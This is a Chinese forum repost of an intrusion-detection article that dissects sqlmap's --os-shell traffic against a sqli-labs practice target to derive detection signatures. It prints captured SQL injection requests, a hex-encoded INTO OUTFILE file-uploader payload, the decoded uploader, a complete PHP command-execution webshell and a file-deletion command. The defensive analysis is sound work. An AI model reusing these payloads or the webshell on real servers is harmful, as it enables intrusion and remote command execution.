安全矩阵

 找回密码
 立即注册
搜索
查看: 2583|回复: 0

入侵检测之sqlmap恶意流量分析

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-8-29 15:15:36 | 显示全部楼层 |阅读模式
入侵检测之sqlmap恶意流量分析 (qq.com) 入侵检测之sqlmap恶意流量分析原创 Erikten [url=]潇湘信安[/url] 6天前
收录于话题#Web安全38个
                        声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
                        请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。
                       

文章来自@Erikten老哥博客,经作者同意转至该公众号。有兴趣的朋友可以在文末通过阅读原文进入他的博客。

0x01 –os-shell攻击流程

           
  •         测试链接是否能够访问

           
  •         判断操作系统版本

           
  •         传递一个数组,尝试爆绝对路径

           
  •         指定上传路径

           
  •         使用lines terminated by 写入一个php文件,该php文件可以进行文件上传

           
  •         尝试找到上传的文件的访问路径;直到找到正确的路径

           
  •         通过上传的临时文件,尝试上传另外一个php文件, 该文件可以进行命令执行

           
  •         尝试进行命令执行 echo command execution test

           
  •         直接输入对应的命令即可

           
  •         退出–os-shell后删除命令马


0x02 抓包分析
首先就是测试链接是否能够访问


然后判断操作系统
  1. GET /Less-1/?id=-8168%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x71786a7171%2C%28CASE%20WHEN%20%280x57%3DUPPER%28MID%28%40%40version_compile_os%2C1%2C1%29%29%29%20THEN%201%20ELSE%200%20END%29%2C0x7170627671%29%2CNULL--%20- HTTP/1.1
  2. Cache-Control: no-cache
  3. User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)
  4. Host: www.sqli.com
  5. Accept: */*
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
复制代码
这里把参数值解码后,是这样一段SQL语句

  1. -8168 UNION ALL SELECT NULL,CONCAT(0x71786a7171,(CASE WHEN (0x57=UPPER(MID(@@version_compile_os,1,1))) THEN 1 ELSE 0 END),0x7170627671),NULL-- -

复制代码



接着传递一个数组,尝试爆绝对路径,这都是老版本的办法了,现在行不通,这个可以当作一个行为特征来标记一下
  1. GET /Less-1/?id[]=1 HTTP/1.1
  2. Cache-Control: no-cache
  3. User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)
  4. Host: www.sqli.com
  5. Accept: */*
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
复制代码
等我们指定完上传路径后, sqlmap会使用lines terminated by 写入一个php文件, 该php文件可以进行文件上传, 它先传一个小马, 再传一个命令执行马, 其实是留了一手的, 避免命令马直接被杀掉
  1. GET /Less-1/?id=-9439%20OR%201550%3D1550%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27E%3A%2FServer%2Fphpstudy_pro%2FWWW%2Fsqli-labs-master%2FLess-1%2Ftmpuobmp.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d453a5c5c5365727665725c5c70687073747564795f70726f5c5c5757575c5c73716c692d6c6162732d6d61737465725c5c4c6573732d315c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20- HTTP/1.1
  2. Cache-Control: no-cache
  3. User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)
  4. Host: www.sqli.com
  5. Accept: */*
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
复制代码
解码hex加密的内容, 是这样的
  1. <?php
  2. // 判断是否有一个upload的值传过来
  3. if (isset($_REQUEST["upload"]))
  4. {
  5.     // 将uploadDir赋值给$dir, 也就是我们传递的绝对路径
  6.     $dir = $_REQUEST["uploadDir"];
  7.     // 判断php版本是否小于4.1.0
  8.     if (phpversion() < '4.1.0')
  9.     {
  10.         $file = $HTTP_POST_FILES["file"]["name"];
  11.         @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die;
  12.     }
  13.     else
  14.     {
  15.         // 取文件名赋值给$file
  16.         $file = $_FILES["file"]["name"];
  17.         // 完成上传动作
  18.         @move_uploaded_file($_FILES["file"]["tmp_name"], $dir . "/" . $file) or die;
  19.     }
  20.     // 给权限
  21.     @chmod($dir . "/" . $file, 0755);
  22.     echo "File uploaded";
  23. }
  24. else
  25. {
  26.     echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=E:\\Server\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-1\\> <input type=submit name=upload value=upload></form>";
  27. }
复制代码

然后尝试找到上传的文件的访问路径;直到找到正确的路径,每次都会里面跳一级


这一步就是上传真正的命令马


分析一下这段代码

  1. <?php
  2. // 将传递的cmd的值赋值给$c
  3. $c = $_REQUEST["cmd"];
  4. // 设置超时时间
  5. @set_time_limit(0);
  6. // 设置客户端断开连接时是否中断脚本的执行
  7. @ignore_user_abort(1);
  8. // 设置php.ini中max_execution_time的值为0
  9. @ini_set("max_execution_time", 0);
  10. // 获取禁用函数
  11. $z = @ini_get("disable_functions");
  12. if (!empty($z))
  13. {
  14.     // 如果$z不为空, 那么就将$z中的, 替换为,  并且重组成一个数组, 且去掉两端的空白字符
  15.     $z = preg_replace("/[, ]+/", ',', $z);
  16.     $z = explode(',', $z);
  17.     $z = array_map("trim", $z);
  18. }
  19. else
  20. {
  21.     $z = array();
  22. }
  23. // 将命令与 2>&1进行拼接
  24. $c = $c . " 2>&1\n";
  25. function f($n)
  26. {
  27.     // 调用$z
  28.     global $z;
  29.     // 判断参数$n是否不在数组$z中
  30.     return is_callable($n) and !in_array($n, $z);
  31. }
  32. /* 大致干了三件事
  33. * 1.打开缓冲区
  34. * 2.执行命令并将结果赋值给$w
  35. * 3.关闭缓冲区并*/
  36. if (f("system"))
  37. {
  38.     ob_start();
  39.     system($c);
  40.     $w = ob_get_clean();
  41. }
  42. elseif (f("proc_open"))
  43. {
  44.     $y = proc_open($c, array(array(pipe, r), array(pipe, w), array(pipe, w)), $t);
  45.     $w = NULL;
  46.     while (!feof($t[1]))
  47.     {
  48.         $w .= fread($t[1], 512);
  49.     }
  50.     @proc_close($y);
  51. }
  52. elseif (f("shell_exec"))
  53. {
  54.     $w = shell_exec($c);
  55. }
  56. elseif (f("passthru"))
  57. {
  58.     ob_start();
  59.     passthru($c);
  60.     $w = ob_get_clean();
  61. }
  62. elseif (f("popen"))
  63. {
  64.     $x = popen($c, r);
  65.     $w = NULL;
  66.     if (is_resource($x))
  67.     {
  68.         while (!feof($x))
  69.         {
  70.             $w .= fread($x, 512);
  71.         }
  72.     }
  73.     @pclose($x);
  74. }
  75. elseif (f("exec"))
  76. {
  77.     $w = array();
  78.     exec($c, $w);
  79.     $w = join(chr(10), $w) . chr(10);
  80. }
  81. else
  82. {
  83.     $w = 0;
  84. }
  85. // 输出命令
  86. echo "<pre>$w</pre>";
  87. ?>
复制代码
​然后, 尝试进行命令执行 echo command execution test


最后, 攻击者退出–os-shell后, sqlmap会进行一个简单的清理痕迹的操作, 删掉执行命令的文件

  1. GET /Less-1/tmpbqsur.php?cmd=del%20%2FF%20%2FQ%20E%3A%5CServer%5Cphpstudy_pro%5CWWW%5Csqli-labs-master%5CLess-1%5Ctmpuajwx.php HTTP/1.1
  2. Cache-Control: no-cache
  3. User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)
  4. Host: www.sqli.com
  5. Accept: */*
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
复制代码
解码
  1. GET /Less-1/tmpbqsur.php?cmd=del /F /Q E:\Server\phpstudy_pro\WWW\sqli-labs-master\Less-1\tmpuajwx.php HTTP/1.1
  2. Cache-Control: no-cache
  3. User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)
  4. Host: www.sqli.com
  5. Accept: */*
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
复制代码
0x03 流量特征分析
一、静态分析
首先最最最特征的肯定就是User-Agent了, 这里如果没有做伪装, 基本上就是sqlmap的流量, 直接拦截掉就好了


接着就是代码的静态特征, sqlmap首先上传的上传马, 会有一个相当明显的特征

  1.    echo "
  2.     <form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data>
  3.       <input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br>
  4.       <input name=file type=file><br>to directory:
  5.       <input type=text name=uploadDir value=E:\\Server\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-1\\>
  6.       <input type=submit name=upload value=upload>
  7.     </form>";
复制代码
这是一段上传的from表单, 特征非常明显, 基本上文件内容存在这一段代码, 就可以认定为是sqlmap上传的后门, 直接杀掉就好了

接着看一下命令执行的小马, 这个特征更加明显, 同一个文件中, 竟然出现了所有的命令执行函数, 不说出现所有的, 正常文件出现一个都不应该, 直接杀掉
  1. if (f("system"))
  2. {
  3.     ob_start();
  4.     system($c);
  5.     $w = ob_get_clean();
  6. }
  7. elseif (f("proc_open"))
  8. {
  9.     $y = proc_open($c, array(array(pipe, r), array(pipe, w), array(pipe, w)), $t);
  10.     $w = NULL;
  11.     while (!feof($t[1]))
  12.     {
  13.         $w .= fread($t[1], 512);
  14.     }
  15.     @proc_close($y);
  16. }
  17. elseif (f("shell_exec"))
  18. {
  19.     $w = shell_exec($c);
  20. }
  21. elseif (f("passthru"))
  22. {
  23.     ob_start();
  24.     passthru($c);
  25.     $w = ob_get_clean();
  26. }
  27. elseif (f("popen"))
  28. {
  29.     $x = popen($c, r);
  30.     $w = NULL;
  31.     if (is_resource($x))
  32.     {
  33.         while (!feof($x)) {
  34.             $w .= fread($x, 512);
  35.         }
  36.     }
  37.     @pclose($x);
  38. }
  39. elseif (f("exec"))
  40. {
  41.     $w = array();
  42.     exec($c, $w);
  43.     $w = join(chr(10), $w) . chr(10);
  44. }
复制代码
二、动态分析
首先可以对数据库的行为做限制, 因为–os-shell主要还是在于执行into outfile()函数, 而执行这个函数有三个必要条件:
  • 当前数据库用户为root权限
  • 数据库中source_file_priv 的值不能为null
  • 可以使用单双引号


这三点缺一不可, 如果不幸的被写入了shell, 那么可以先参照静态分析去过滤一下, 其次就是对于行为的过滤, 当sqlmap成功写入命令马的时候, 会执行一条测试语句
  1. GET /Less-2/tmpbvnbm.php?cmd=echo%20command%20execution%20test HTTP/1.1
  2. Cache-Control: no-cache
  3. User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)
  4. Host: www.sqli.com
  5. Accept: */*
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
复制代码

如果攻击者没有进行过流量分析, 是很难发现这个小细节的, 所以当任何刚生成的文件执行echo command execution test时, 就可以认定这是sqlmap的命令马, 杀之即可


再就是sqlmap会判断当前的操作系统, 而判断操作系统就会使用 @@version_compile_os
这个函数, 所以当流量中包含这个函数的请求, 那就是sqlmao发出的请求, 直接拦截掉就好了


最后就是删除文件的操作了, 一般被删除的命令马跟上传马在同级目录下, 且文件名默认都以tmpxxx.php命名, 溯源起来还是比较方便的,

  1. GET /Less-1/tmpbqsur.php?cmd=del /F /Q E:\Server\phpstudy_pro\WWW\sqli-labs-master\Less-1\tmpuajwx.php HTTP/1.1
  2. Cache-Control: no-cache
  3. User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)
  4. Host: www.sqli.com
  5. Accept: */*
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
复制代码
​外加一个传数组爆绝对路径的操作, 数组的值默认为1


0x04 sqlmap特征总结
静态特征
  1.   - user-agent特征
  2.   - from表单特征
  3.   - 命令执行函数特征
复制代码
动态特征
  1. - 数组报错特征
  2.   - @@version_compile_os特征
  3.   - 测试命令执行语句特征
  4.   - 调用系统命令特征
复制代码


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 15:39 , Processed in 0.014447 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表